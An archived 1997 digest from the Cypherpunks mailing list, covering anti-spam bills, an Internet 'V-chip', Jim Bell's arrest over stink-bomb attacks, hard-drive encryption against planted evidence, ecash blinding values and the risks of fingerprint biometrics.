From rwright at adnetsol.com  Thu May 22 19:50:30 1997
From: rwright at adnetsol.com (Ross Wright)
Date: Fri, 23 May 1997 10:50:30 +0800
Subject: Spam laws threaten remailers?
Message-ID: <199705230233.TAA13174@adnetsol.adnetsol.com>


On or About 22 May 97 at 15:25, Greg Broiles wrote:

> Both of the anti-spam bills that I've seen (CAUCE and Murkowski's)
> are poorly drafted - they're both overbroad and underinclusive. I
> don't think they're necessarily constitutionally "overbroad", but
> they haven't been written by people with a good understanding of the
> technical issues.
> 
> As I read both bills, they'll prohibit behavior pretty universally
> considered legitimate - e.g., including a link to a web site in your
> .signature which happens to sell a product or service, for example.

This is really going too far!!!  I was told, when I first got 
on-line, that this was a "polite" way to get your product or service 
out there, without spamming.  By posting on-topic replies to usenet 
and high traffic mailing lists, like this one...  Shit, I hate this 
"one bad kid gets the rest of the class in trouble" mentality.  I am 
really pissed at this whole issue and the goverment trying to get 
it's grubby paws on the net any way they can!

I am also irked at the public's desire for this government 
intervention.
 
> I think it'd make more sense to solve this problem technically,
> and/or carefully think about the legal framework appropriate for
> governing the flow of data between computers. (There are also sticky
> First Amendment issues here.)

You got that right.
 
> Ugh.
> 

Arrrrgh.

Ross

=-=-=-=-=-=-
Ross Wright
King Media: Bulk Sales of Software Media and Duplication Services
http://www.slip.net/~cdr/kingmedia
Voice: (408) 259-2795






From jya at pipeline.com  Thu May 22 19:53:48 1997
From: jya at pipeline.com (John Young)
Date: Fri, 23 May 1997 10:53:48 +0800
Subject: V-Chips for the Internet
Message-ID: <1.5.4.32.19970523022930.00970284@pop.pipeline.com>


A White House press briefing today describes Clinton's
plan for providing V-chips for parents to control childrens'
access to the Internet. Technology is being developed for 
that purpose.

   http://jya.com/wh052297.txt

Quote:

                MS. LEWIS: It's our understanding, and we just checked
this with people at the White House who know much more about 
technology than all of us put together, that there is in fact technology 
being developed that would serve as the equivalent of a V-chip for the
Internet, and we think that's what the President referred to.

                Q Clinton has talked before about giving parents ways to
protect their children on the Internet, but has he ever before suggested
the idea of a V-chip for the Internet?

                MS. LEWIS:  Not that we know of, but we know -- as is
clear, I think, from his wording, he is aware that the technology has
been developing.

End quote.






From ravage at einstein.ssz.com  Thu May 22 19:56:36 1997
From: ravage at einstein.ssz.com (Jim Choate)
Date: Fri, 23 May 1997 10:56:36 +0800
Subject: Police & military access
Message-ID: <199705230204.VAA18264@einstein.ssz.com>


Hi,

It occured to me that if the police have no civil liberties extending beyond
that of a citizen and citizens are not legaly permitted access to military
hardware then neither should the police.

If this applied then it would not be legal for police to have access to any
sort of communication or encryption technology that was not available to the
normal citizen.

If a police officer can buy body armor and automatic weapons for self
defence then so can a citizen.

If a police officer can search a suspect for weapons "to protect their person"
and confiscate or otherwise remove them from the immediate vicinity then a
normal citizen should require a police officer to do the same. In other
words, once it is established that the suspect is not armed the police
officer should be required to place their weapon in their vehicle or
othewise secure it off their person.

etc.

etc.

So, the question of the hour is:

Do police have any civil rights not endowed to a individual citizen?



                                                    Jim Choate
                                                    CyberTects
                                                    ravage at ssz.com

                                      






From ravage at einstein.ssz.com  Thu May 22 20:19:10 1997
From: ravage at einstein.ssz.com (Jim Choate)
Date: Fri, 23 May 1997 11:19:10 +0800
Subject: index.html
Message-ID: <199705230231.VAA18388@einstein.ssz.com>


   CNN logo 
   US navbar 
   
   Infoseek/Big Yellow 
   
   
   Pathfinder/Warner Bros 
   
   
   
   
   Main banner Samsung. Meeting the challenge. 
   
     rule
     
                    WOMAN TRIES TO SELL KIDNEY TO PAY BILL
                                       
      sparrow May 22, 1997
     Web posted at: 10:59 a.m. EDT (1459 GMT)
     
     ST. PETERSBURG, Florida (CNN) -- Faced with a $25,000 bill for gall
     bladder surgery, a Florida woman placed an ad in a local newspaper
     to sell her kidney to cover the surgery. But there's a big problem
     with her plan: It's illegal.
     
     "KIDNEY Runs good, Taking offers. $30,000/obo," read the
     advertisement in this week's St. Petersburg Times.
     
     Ruth Sparrow isn't joking either. She has been drinking buckets of
     water for more than two months to clean out the organ, prepping it
     for donation.
     
     "I'm not doing it for a profit," she told CNN-affiliate WTVT in
     Tampa. "You're trading a damn kidney for a gall bladder." icon
     (85K/6 sec. AIFF or WAV sound)
     
     Sparrow, a 55-year-old nurse, said she told doctors before the
     surgery that she would be unable to pay the bill and offered to pay
     the bill by donating her kidney. The offer was refused, she said.
     movie icon (331K/28 sec. QuickTime movie)
     
     Federal and state laws prohibit anyone from offering buy or sell a
     human organ or tissue. In Florida, the offense is a second-degree
     felony. medical.center
     
     Jean Layne of Lifelink of Florida, a tissue recovery organization,
     explained that the reason for the law is "not to disadvantage
     families who do not have a lot of money, allowing everyone equal
     access to transplantation."
     
     Bayfront Medical Center, where the gall bladder surgery was
     performed, was stunned when notified of the ad. It said Sparrow owes
     about $17,000 on the bill and that the medical center is "trying to
     get her qualified for some type of assistance."
     
     Sparrow dropped her medical insurance four years ago because she
     could not afford the $4,000-a-year premium.
     
     She said it's unfair that taxpayers pick up the tab for criminals'
     medical expenses, while she could get punished for her tactic. icon
     (145K/12 sec. AIFF or WAV sound) She also emphasized that she did
     not know it was illegal to run the ad.
     
     "I just want to live in my own little hovel and pay my bills like
     everybody else," she said. "I don't want to owe anybody."
     
     From CNN-affiliate WTVT Reporter Stan Jayson  
     rule CNN Plus 
     * Consumer News - Fitness and Health
       
  Related story:
  
     * Florida man offers to 'lease' a kidney - April 2, 1997
       
  Related sites:
  
     Note: Pages will open in a new browser window
     * The St. Petersburg Times
     * Bayfront Medical Center
     * United Network for Organ Sharing Transplantation Information Site
     * American Share Foundation - organ donation and transplantation
       information
       
     
     
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From rah at shipwright.com  Thu May 22 20:40:09 1997
From: rah at shipwright.com (Robert Hettinga)
Date: Fri, 23 May 1997 11:40:09 +0800
Subject: spam is a good thing (was Re: Spam IS Free Speech)
In-Reply-To: <199705221414.JAA14267@mailhub.amaranth.com>
Message-ID: 


At 12:40 pm -0400 on 5/22/97, John Deters wrote:


> Adam's "Tragedy of the Unmetered Commons" certainly provides a solution.
> Metering and charging e$ for mail-routing services would allow it to occur
> while stopping the freeloaders.

The tragedy of the commons, of course, is that nobody owns it. :-).

Eric Hughes and his penny-roll experiments to the contrary...

Cheers,
Bob Hettinga

-----------------
Robert Hettinga (rah at shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/







From alan at ctrl-alt-del.com  Thu May 22 20:57:58 1997
From: alan at ctrl-alt-del.com (Alan Olsen)
Date: Fri, 23 May 1997 11:57:58 +0800
Subject: More stories from the Bell jar...
Message-ID: <3.0.2.32.19970522204359.00b37cc0@mail.teleport.com>


-----BEGIN PGP SIGNED MESSAGE-----



This story is from the Oregonian May 22, 1997 Page D3:

Arrest solves mystery of law office stink bomb

A federal investigation that led to the arrest of James Dalton Bell 
of Vancouver appears to have solved a longtime mystery regarding a 
stink bomb attack in a downtown Portland law office.

In late April 1984, someone broke into law offices at 1123 S. W. 
Yamhill St. and poured a liquid on a hallway run that was so 
odorous it made at least one of the lawyers who smelled it vomit 
twice.

At the time, Nick Albrecht, who still practices law there, said the
skunklike scent, called mercaptan, was so overpowering that he had 
to go home because he could not stop gagging.

The target of the stink bomb attack was lawyer C. Douglas Oliver, 
who now lives in Southern California and won't discuss the incident.

Bell was arrested Friday on a federal complaint charging him with 
obstructing and impeding the Internal Revenue Service and the use 
of false Social Security numbers.  The complaint said that documents 
found on Bell's computer boasted of the mercaptan attack on the office
of a Portland lawyer who had sued him.

The lawyer was Oliver. Albrecht said Oliver had suspected that Bell
might have been behind the mercaptan attack, but could never prove it.

The federal complaint also charged Bell with the March 16 mercaptan 
attack on the IRS offices in the federal office building in Vancouver.
On the following day, when employees returned to work after the 
weekend, several of them had to be placed on leave because the smell 
was so powerful, the complaint said.


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---
|     "Bill Clinton - Bringing back the sixties one Nixon at a time."    |
|"The moral PGP Diffie taught Zimmermann unites all| Disclaimer:         |
| mankind free in one-key-steganography-privacy!"  | Ignore the man      |
|`finger -l alano at teleport.com` for PGP 2.6.2 key  | behind the keyboard.|
|         http://www.ctrl-alt-del.com/~alan/       |alan at ctrl-alt-del.com|






From cpunks at algebra.com  Thu May 22 21:18:06 1997
From: cpunks at algebra.com (cpunks at algebra.com)
Date: Fri, 23 May 1997 12:18:06 +0800
Subject: RFC 2144 on CAST-128 Encryption Algorithms (fwd)
Message-ID: <199705230408.XAA32582@manifold.algebra.com>


plz do not use bcc

igor

----- Forwarded message from Adam Shostack -----

>From cpunks at manifold.algebra.com  Thu May 22 13:12:32 1997
From: Adam Shostack 
Message-Id: <199705221736.NAA17266 at homeport.org>
Subject: RFC 2144 on CAST-128 Encryption Algorithms (fwd)
To: coderpunks at toad.com (The Coderpunks list)
Date: Thu, 22 May 1997 13:36:16 -0400 (EDT)
X-Mailer: ELM [version 2.4ME+ PL27 (25)]
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Sender: owner-cypherpunks at toad.com
Precedence: bulk

I hadn't seen this mentioned.  This is to coderpunks, bcc'd to
cypherpunks & cryptography.

Adam


------

A new Request for Comments is now available in online RFC libraries.


        RFC 2144:

        Title:      The CAST-128 Encryption Algorithm
        Author:     C. Adams
        Date:       May 1997
        Mailbox:    cadams at entrust.com
        Pages:      15
        Characters: 37532
        Updates/Obsoletes: None

        URL:        ftp://ds.internic.net/rfc/rfc2144.txt


There is a need in the Internet community for an unencumbered 
encryption algorithm with a range of key sizes that can provide 
security for a variety of cryptographic applications and protocols.  
This document describes an existing algorithm that can be used to 
satisfy this requirement.

This memo provides information for the Internet community.  This memo
does not specify an Internet standard of any kind.  Distribution of
this memo is unlimited.



----- End of forwarded message from Adam Shostack -----






From cpunks at algebra.com  Thu May 22 21:22:23 1997
From: cpunks at algebra.com (cpunks at algebra.com)
Date: Fri, 23 May 1997 12:22:23 +0800
Subject: RFC 2144 on CAST-128 Encryption Algorithms (fwd)
Message-ID: <199705230409.XAA32615@manifold.algebra.com>


----- Forwarded message from Adam Shostack -----

>From cpunks at manifold.algebra.com  Thu May 22 13:12:33 1997
From: Adam Shostack 
Message-Id: <199705221736.NAA17266 at homeport.org>
Subject: RFC 2144 on CAST-128 Encryption Algorithms (fwd)
To: coderpunks at toad.com (The Coderpunks list)
Date: Thu, 22 May 1997 13:36:16 -0400 (EDT)
X-Mailer: ELM [version 2.4ME+ PL27 (25)]
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Sender: owner-cypherpunks at toad.com
Precedence: bulk

I hadn't seen this mentioned.  This is to coderpunks, bcc'd to
cypherpunks & cryptography.

Adam


------

A new Request for Comments is now available in online RFC libraries.


        RFC 2144:

        Title:      The CAST-128 Encryption Algorithm
        Author:     C. Adams
        Date:       May 1997
        Mailbox:    cadams at entrust.com
        Pages:      15
        Characters: 37532
        Updates/Obsoletes: None

        URL:        ftp://ds.internic.net/rfc/rfc2144.txt


There is a need in the Internet community for an unencumbered 
encryption algorithm with a range of key sizes that can provide 
security for a variety of cryptographic applications and protocols.  
This document describes an existing algorithm that can be used to 
satisfy this requirement.

This memo provides information for the Internet community.  This memo
does not specify an Internet standard of any kind.  Distribution of
this memo is unlimited.



----- End of forwarded message from Adam Shostack -----






From cpunks at algebra.com  Thu May 22 21:25:38 1997
From: cpunks at algebra.com (cpunks at algebra.com)
Date: Fri, 23 May 1997 12:25:38 +0800
Subject: RFC 2144 on CAST-128 Encryption Algorithms (fwd)
Message-ID: <199705230409.XAA32644@manifold.algebra.com>


----- Forwarded message from Adam Shostack -----

>From cpunks at manifold.algebra.com  Thu May 22 13:12:34 1997
From: Adam Shostack 
Message-Id: <199705221736.NAA17266 at homeport.org>
Subject: RFC 2144 on CAST-128 Encryption Algorithms (fwd)
To: coderpunks at toad.com (The Coderpunks list)
Date: Thu, 22 May 1997 13:36:16 -0400 (EDT)
X-Mailer: ELM [version 2.4ME+ PL27 (25)]
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Sender: owner-cypherpunks at toad.com
Precedence: bulk

I hadn't seen this mentioned.  This is to coderpunks, bcc'd to
cypherpunks & cryptography.

Adam


------

A new Request for Comments is now available in online RFC libraries.


        RFC 2144:

        Title:      The CAST-128 Encryption Algorithm
        Author:     C. Adams
        Date:       May 1997
        Mailbox:    cadams at entrust.com
        Pages:      15
        Characters: 37532
        Updates/Obsoletes: None

        URL:        ftp://ds.internic.net/rfc/rfc2144.txt


There is a need in the Internet community for an unencumbered 
encryption algorithm with a range of key sizes that can provide 
security for a variety of cryptographic applications and protocols.  
This document describes an existing algorithm that can be used to 
satisfy this requirement.

This memo provides information for the Internet community.  This memo
does not specify an Internet standard of any kind.  Distribution of
this memo is unlimited.



----- End of forwarded message from Adam Shostack -----






From whgiii at amaranth.com  Thu May 22 21:43:06 1997
From: whgiii at amaranth.com (William H. Geiger III)
Date: Fri, 23 May 1997 12:43:06 +0800
Subject: More stories from the Bell jar...
In-Reply-To: <3.0.2.32.19970522204359.00b37cc0@mail.teleport.com>
Message-ID: <199705230434.XAA25146@mailhub.amaranth.com>


-----BEGIN PGP SIGNED MESSAGE-----

In <3.0.2.32.19970522204359.00b37cc0 at mail.teleport.com>, on 05/22/97 
   at 08:43 PM, Alan Olsen  said:

>Bell was arrested Friday on a federal complaint charging him with 
>obstructing and impeding the Internal Revenue Service and the use  of
>false Social Security numbers.  The complaint said that documents  found
>on Bell's computer boasted of the mercaptan attack on the office of a
>Portland lawyer who had sued him.

 I would have thought that Jim would be smarter than leaving such
info on his computer unencrypted. I find it equally troubling that he
would put such info in "writting" to begin with.

Ofcource since no inventory was done of the documents contained on his HD
the FEDS could plant anything that they wanted with little hope of proving
that they did.

I'm not quite sure how one could counter against such an attack. Even if
one stored all documents in an encrypted partition there are still
protions of the HD that the OS will require to be unencrypted. Perhaps
have a boot disk that would decrypt the OS section of the HD then boot the
OS off the HD which then would use a crypto IFS to accesses the remainder
of the drive. Even going to these lenghts they could just put what they
wanted on a floppy and claim that they "found" it.

I guess the only *real* solution is to get rid of the thugs.

- -- 
- -----------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
                          
Finger whgiii at amaranth.com for PGP Key and other info
- -----------------------------------------------------------
 
Tag-O-Matic: Rumour: NT means Not Tested

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From minow at apple.com  Thu May 22 21:47:42 1997
From: minow at apple.com (Martin Minow)
Date: Fri, 23 May 1997 12:47:42 +0800
Subject: Forgeries are your Friend
In-Reply-To: 
Message-ID: 


-----BEGIN PGP SIGNED MESSAGE-----

>I want to expand on one of the points I just made. As I think about the
>issue more, the more I see signings of posts as being more of a help to my
>enemies (prosecutors, in this context) and less of a help to my friends.

I would assume that, if they're interested in your postings, they'll
record them at the source, either by tapping your phone or wiretapping
your house. In that case, signing your postings would make it more
difficult to forge a posting with your name on it. On the other hand,
if they break your private key's password, you're in bigger trouble.

>
>I'm not saying that signatures are not a Good Thing. Indeed, if I ever get
>a version of PGP or S/MIME adequately integrated with my OS and Eudora Pro,
>I may (or may not) start auto-signing all e-mail. (Gulp.)

PGP is coming soon. In the meantime, you can use FileCrypt, which
works well with Eudora on the Mac (I'm running it under an 8.0 beta
without problems). There's a time-limited demo version at
 It is not encumbered by export control.

Martin.

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=P/ni
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From decius at ninja.techwood.org  Thu May 22 21:50:03 1997
From: decius at ninja.techwood.org (Decius 6i5)
Date: Fri, 23 May 1997 12:50:03 +0800
Subject: New Chip Verifies Fingerprints (fwd)
Message-ID: 


> Veridicom, a spinoff of Lucent Technologies, just demoed (at
> CardTech/SecurTech '97) their chip that can perform fingerprint
> recognition/authorization.  They plan on selling them for $300 each
> (same cost as this face recognition system Gregory's mentioned).  The
> article doesn't say when they will be available.
>
> http://www.sfgate.com/cgi-bin/chronicle/article.cgi?file=BU41045.DTL&
> directory=/chronicle/archive/1997/05/22

I am mailing this to cypherpunks and BCCing the original list because it
is not nearly as open. I am putting on my cypherpunk hat here, and
although this is not a general discussion list I think this warrants
comment. (I would also like to see what the cypherpunks have to say.)

Eric Hughes said that "Cryptography is about economics."

When I am designing a system, I weigh the cost of securing the system
verses the expected loss that will be incurred if the system is not
secure. The cellular phone industry decided that it would cost them more
to secure their system than it would to swallow the losses. They were
wrong, but I will not digress into that. The point here is clear. Security
is an economic choice. It is a business decision. Furthermore, if I decide
to secure a system, I need only use enough security such that the cost to
break that security is equal to the value of that which is being secured.
Any additional security is a waste of money. 

When I am breaking a system I will always attack the weakest link (unless
I am doing this for intellectual challenge but that is not really the
point here). This is obvious. Lets take a look at a sample Biometric
security system: Fingerprints are used to replace the pin codes on an ATM.

I am being very general here, but there are four main peices to this
system. The banking network itself, which is DES encrypted, the ATM,
the biometric system and the human being. Note the contrast with a
non-biometric system, which consists of the network, the ATM, and
a pin code. Biometrics pull the human into the equation. 

Cracking DES would cost more than a million dollars. 
I can't put a value on cracking the ATM, but they are designed to be
difficult to open up and most are in places where they are very visible,
so the cost is very high. 
I have not seen anyone present a method for attacking a biometric security
device. If you assume that you will have to develop one you are again
talking about millions. 
How about "cracking" the human... How much does a good sturdy knife cost?
Less than $20.

If I get mugged and the mugger wants access to my bank account all he has
to do is chop off the relevant finger. Don't laugh. This *WILL* happen.
Biometrics create an general economic incentive for maiming or murdering
people.    

I will take you one further... *When you implement a biometric system you
are deciding that the value of that which is being protected is greater
than the value of the lives of the people who have access to it.*

This is obvious if you look at the trade-offs. You are securing the system
such that the easiest way to break it is to kill a person. Obviously this
will reduce your instances of fraud, as killing a person is more messy
then hacking a pin code. However, because the cost of killing someone is
smaller than the value of the object being protected, there are going to
be losses. You have to decide that you are capable of swallowing those
losses. You have to decide that the value of the decrease in fraud over
a non-biometric system is greater than that of the lives of the people who
are lost when fraud does occur. This is a despicable situation, but don't
think you won't see it. It is probably inevitable now. 

One additional point. The possibilities for surveilance inherent in
biometrics are fearsome. If I managed to compile a large database of
people's names, social security numbers, and face prints; I could set up a
closed circuit camera system in my store which would provide me with the
name, home address, credit, and other information about every person who
enters my business, AUTOMATICALLY, without the customers even being
cognisant that this is going on. The marketing people will be going nutz
over this possibility. I'm going to the drug store for some Pepto... 
  

-- 
        */^\*  Tom Cross AKA Decius 615 AKA The White Ninja  */^\* 
                       Decius at ninja.techwood.org

"If the economic, social and political conditions... do not offer a basis 
for the realization of individuality, while at the same time people have 
lost those ties which gave them security... powerful tendencies arise to 
escape from freedom into submission." -- Erich Fromm







From rwright at adnetsol.com  Thu May 22 21:58:06 1997
From: rwright at adnetsol.com (Ross Wright)
Date: Fri, 23 May 1997 12:58:06 +0800
Subject: spam is a good thing (was Re: Spam IS Free Speech)
Message-ID: <199705230442.VAA15291@adnetsol.adnetsol.com>


On or About 22 May 97 at 13:11, William H. Geiger III wrote:

> If given the choice between 2 evils of receiving Spamford
> Cyber-momo's crap or going to a metered rate INet I choose Spamford
> as the second will not get rid of him.

There we go!  The all American strive for compromise.  Yet, very few 
people are willing to compromise on this issue, for some reason.  I'd 
like for more people just give it up and come to the realization 
that the INet is going to be commercial, and no laws can stifle the 
commerce that goes on here.  Or stop Spam.  

Ross


=-=-=-=-=-=-
Ross Wright
King Media: Bulk Sales of Software Media and Duplication Services
http://www.slip.net/~cdr/kingmedia
Voice: (408) 259-2795






From alan at ctrl-alt-del.com  Thu May 22 22:00:30 1997
From: alan at ctrl-alt-del.com (Alan Olsen)
Date: Fri, 23 May 1997 13:00:30 +0800
Subject: More stories from the Bell jar...
In-Reply-To: <3.0.2.32.19970522204359.00b37cc0@mail.teleport.com>
Message-ID: <3.0.2.32.19970522214626.00b356c0@mail.teleport.com>


-----BEGIN PGP SIGNED MESSAGE-----

At 11:11 PM 5/22/97 -0500, William H. Geiger III wrote:
>-----BEGIN PGP SIGNED MESSAGE-----
>
>In <3.0.2.32.19970522204359.00b37cc0 at mail.teleport.com>, on 05/22/97 
>   at 08:43 PM, Alan Olsen  said:
>
>>Bell was arrested Friday on a federal complaint charging him with 
>>obstructing and impeding the Internal Revenue Service and the use  of
>>false Social Security numbers.  The complaint said that documents  found
>>on Bell's computer boasted of the mercaptan attack on the office of a
>>Portland lawyer who had sued him.
>
> I would have thought that Jim would be smarter than leaving such
>info on his computer unencrypted. I find it equally troubling that he
>would put such info in "writting" to begin with.
>
>Ofcource since no inventory was done of the documents contained on his HD
>the FEDS could plant anything that they wanted with little hope of proving
>that they did.

This is one of the few stories out of the whole mess that I do believe.

I was told about the above incident over a year ago by a friend who has known 
Jim for many years.

>I'm not quite sure how one could counter against such an attack. Even if
>one stored all documents in an encrypted partition there are still
>protions of the HD that the OS will require to be unencrypted. Perhaps
>have a boot disk that would decrypt the OS section of the HD then boot the
>OS off the HD which then would use a crypto IFS to accesses the remainder
>of the drive. Even going to these lenghts they could just put what they
>wanted on a floppy and claim that they "found" it.

It is my understanding that Jim did not encrypt his hard drive at all.  (Jim 
was not all that experienced as a computer user.  (By his own admission.  At 
least what he said the time I met him.))

If the feds has stuck to the stink bomb story, it would have been alot more 
plausable.  But the "poisoning the bullrun" and "911" stuff is a bit far 
fetched for Jim.  It does not fit the way he thinks.

>I guess the only *real* solution is to get rid of the thugs.

Easier said than done...


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---
|     "Bill Clinton - Bringing back the sixties one Nixon at a time."    |
|"The moral PGP Diffie taught Zimmermann unites all| Disclaimer:         |
| mankind free in one-key-steganography-privacy!"  | Ignore the man      |
|`finger -l alano at teleport.com` for PGP 2.6.2 key  | behind the keyboard.|
|         http://www.ctrl-alt-del.com/~alan/       |alan at ctrl-alt-del.com|






From jeremey at bluemoney.com  Thu May 22 22:31:15 1997
From: jeremey at bluemoney.com (Jeremey Barrett)
Date: Fri, 23 May 1997 13:31:15 +0800
Subject: ecash & remailers
In-Reply-To: <199705221703.SAA02054@server.test.net>
Message-ID: <3.0.2.32.19970522221830.00694e68@descartes.bluemoney.com>


-----BEGIN PGP SIGNED MESSAGE-----

At 06:03 PM 5/22/97 +0100, Adam Back wrote:
>
>To stop this, the sender should discard the blinding values, thereby
>removing his ability to be later coerced, or to later trace the
>recipient of his cash.
>
>Is there a way to purge blinding values from the ecash directory?
>

Coins are removed from the cash db when they are paid out. They are then
stored in the payments db along with the payment headers, etc. The blinding
factors are not stored once the coins have been paid. Regardless, removing
the payments db will not cause any ill effect (that I have noticed, except for
the obvious loss of payment records), so you can do that anyway if you like.

(Note, this is based on a hex dump of the payments db, so it's possible I'm 
wrong. Anyone from Digicash who knows otherwise, please correct me.)

Jeremey.

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--
Jeremey Barrett                                  VeriWeb Internet Corp.
Crypto, Ecash, Commerce Systems                 http://www.veriweb.com/
PGP key fingerprint =  3B 42 1E D4 4B 17 0D 80  DC 59 6F 59 04 C3 83 64






From kent at songbird.com  Thu May 22 23:28:58 1997
From: kent at songbird.com (Kent Crispin)
Date: Fri, 23 May 1997 14:28:58 +0800
Subject: More stories from the Bell jar...
In-Reply-To: <3.0.2.32.19970522204359.00b37cc0@mail.teleport.com>
Message-ID: <19970522231339.17428@bywater.songbird.com>


On Thu, May 22, 1997 at 11:11:56PM -0500, William H. Geiger III wrote:
>-----BEGIN PGP SIGNED MESSAGE-----
>
>In <3.0.2.32.19970522204359.00b37cc0 at mail.teleport.com>, on 05/22/97 
>   at 08:43 PM, Alan Olsen  said:
>
>>Bell was arrested Friday on a federal complaint charging him with 
>>obstructing and impeding the Internal Revenue Service and the use  of
>>false Social Security numbers.  The complaint said that documents  found
>>on Bell's computer boasted of the mercaptan attack on the office of a
>>Portland lawyer who had sued him.
>
> I would have thought that Jim would be smarter than leaving such
>info on his computer unencrypted. I find it equally troubling that he
>would put such info in "writting" to begin with.

[...]

>I guess the only *real* solution is to get rid of the thugs.

Possibly the real solution is not to do stupid things.

-- 
Kent Crispin				"No reason to get excited",
kent at songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html






From blancw at cnw.com  Thu May 22 23:36:06 1997
From: blancw at cnw.com (Blanc)
Date: Fri, 23 May 1997 14:36:06 +0800
Subject: The Natives Are Getting Restless (was Wine Politics Again!)
Message-ID: <3.0.32.19970522232436.00703270@cnw.com>


Paul Bradley wrote:

>I can see why you might say this, but I must ask why we need imaginative 
>ideas? - The old ones, involving guns and other weapons sound OK to me. 
>If you really want imaginative ideas go ask Jim Bell, his carbon fibres 
>idea was sure one I`d never heard of before.
		[and]
>Your style of discourse in your post suggests you believe that the most 
>effective way to go about achieving a better society and a better form of 
>government is the reform the present system.
................................................................


We need imaginative ideas because of being the New, Improved, Techno-Elite.
   Why use crude, primitive, outdated methods, when you can use new,
educated, modern ones. heh. 

Perhaps because of all the history I've read, coupled with (admittedly
limited) economic studies, I'm not inclined towards simple violence as the
best solution.   But this is only because it is, indeed, quite difficult to
deliver justice precisely; it is easy to make mistakes about who is the
real enemy and instead extinguish the wrong target, thus complicating
further the attempts at reestablishing normality (I have read of instances
like this, where the wrong person or group was destroyed by mistake,
creating havoc without solving the real problem).

What I think would be an effective way to achieve a better society &
government is to abandon both of them.  As in the financial markets, one's
attention should be removed from failing, troublesome political elements
and placed instead on things/systems which *are* rewarding.   The available
energies and resources which are being wasted would provide better returns
if applied/invested in real "growth" enterprises.   Of course, most people
aren't ready to do this just immediately, and do wish to promote the
existence of both, as they fear the consequences of living without these
comforting concepts.

There are presently many cities in the U.S. and even, surprisingly, sectors
of foreign governments which are privatizing many of their services.   This
is a teeny step for mankind, yet the end result is that it takes away the
excuse of the main governing agencies for the "need" to extract more &
more tax moneys for services which aren't working anyway.   As soon as
everyone has "seen" what has been accomplished by contracting services out
& disbanding the entrenched government departments, everyone realizes that
yes, there are alternatives to government-run services, and no, society
won't die tomorrow from the distance created between the new arrangements
and the central command structure.   You couldn't have argued most people
into this perception, however; they could not have imagined it.   

It is also a fact that many corporations are providing more and more
"benefits" to their employees (some as 'required by law' of course), taking
on such responsibilities in regard of the welfare of their employees as
resembles a small government.   This has the effect of shifting the
attention of many people away from what governments can do for them, to
what employment in certain companies can deliver.    As more individuals
begin to look to their employment/employers for these additional benefits,
their expectations are shifted accordingly away from a large central body
administering to their welfare.   This is not a clean weaning away, and it
is not without its own inherent errors in the reasons for its existence or
in the ways in which these services are conducted/administered (at
least,not by libertarian/anarchic standards).    But the result is that it
takes away from governments another area of responsibility, even while the
government positions itself as the commander of what companies will be
forced to do for their employees.   

As a matter of fact, what has been happening is that large companies are
coming into competition with governments as "providers".    Many people in
general, as well as on this list, sometimes wonder who is the more powerful
or evil: governments or corporations.   Regardless, as corporations take
responsibilities away from central bodies, these powers are distributed out
to the smaller financial organizations.    These little clones then begin
to take on a life of their own and begin to challenge the large parent
(this makes me think of Sun, which is now in effect challenging the export
laws without asking for permission and the U.S.gov has to determine what
the right thing is to do about it).

These are tug&pull operations; there are many large barks and much gnashing
of teeth.   But the ones with the money have clout and bargaining power, as
without them the U.S. cannot be a "world leader" (a term the meaning of
which is slowly dissolving away as well).

One day it will transpire that employees will look to their employers for
benefits, rather than to a large central Bureau of Disorganization.
Business organizations will be the means by which individuals arrange to
get their life's provisions (strange that this should presently be the
exception, rather than the norm).   Individual contractors will continue to
make their own short-term arrangements, negotiating for the kind of
remuneration which they will accept in exchange for their work.   One can
extrapolate from that any further developments towards individual leverage
in such arrangements.

Some people fear that this will only change the face of the Master and not
improve the situation at all.   But they forget that as long as they can
change employers, as long as they are not coerced into working for any
particular company, they can not only go where they find it best for
themselves, but they can of course create their own business organzation.
(duh)

This isn't really an idea for an alternative to violence; more of a
presentation of an existing trend which could obviate the need for armed
confrontation and explosive plans of action.    It does not take away the
need to always be prepared for self-defense (but there are many ways to
defend oneself); it does not take away from the need to let PowerMongers
know that individuals are willing & able to use destructive means to
prevent totalitarians from assimilating everyone into an amorphous mass of
subservient bodies.

But it does require perspective into the future, of imagining practical
developments from current trends, of researching the possibilities for
positive outcomes.  It requires that one think in terms of practicality
more than in terms of "sticking it to them".   But then some people are
looking for a good fight, too (on both sides).   I just personally wouldn't
want to be there when they clash.


    ..
Blanc






From kent at songbird.com  Thu May 22 23:36:57 1997
From: kent at songbird.com (Kent Crispin)
Date: Fri, 23 May 1997 14:36:57 +0800
Subject: New Chip Verifies Fingerprints (fwd)
In-Reply-To: 
Message-ID: <19970522230945.17501@bywater.songbird.com>


On Fri, May 23, 1997 at 12:27:28AM -0400, Decius 6i5 wrote:
> > Veridicom, a spinoff of Lucent Technologies, just demoed (at
[...]
> 
> If I get mugged and the mugger wants access to my bank account all he has
> to do is chop off the relevant finger. Don't laugh. This *WILL* happen.
> Biometrics create an general economic incentive for maiming or murdering
> people.

I'm not so sure that this is realistic.  I have heard that earlier
fingerprint reading cards were very sensitive to size distortion --
that is, if you swung your arm in a circle to increase the blood
pressure in your hand, they would give a false reading, because of the
swelling in the fingers would be sufficient to throw off the
recognition software -- a smart card isn't *that* smart.  A problem 
of false negatives.

If you cut off a finger the blood pressure will go to zero, and the 
dimensions will change quite a bit, relatively speaking.

> I will take you one further... *When you implement a biometric system you
> are deciding that the value of that which is being protected is greater
> than the value of the lives of the people who have access to it.*
> 
> This is obvious if you look at the trade-offs. You are securing the system
> such that the easiest way to break it is to kill a person. Obviously this
> will reduce your instances of fraud, as killing a person is more messy
> then hacking a pin code. However, because the cost of killing someone is
> smaller than the value of the object being protected, there are going to
> be losses. You have to decide that you are capable of swallowing those
> losses. You have to decide that the value of the decrease in fraud over
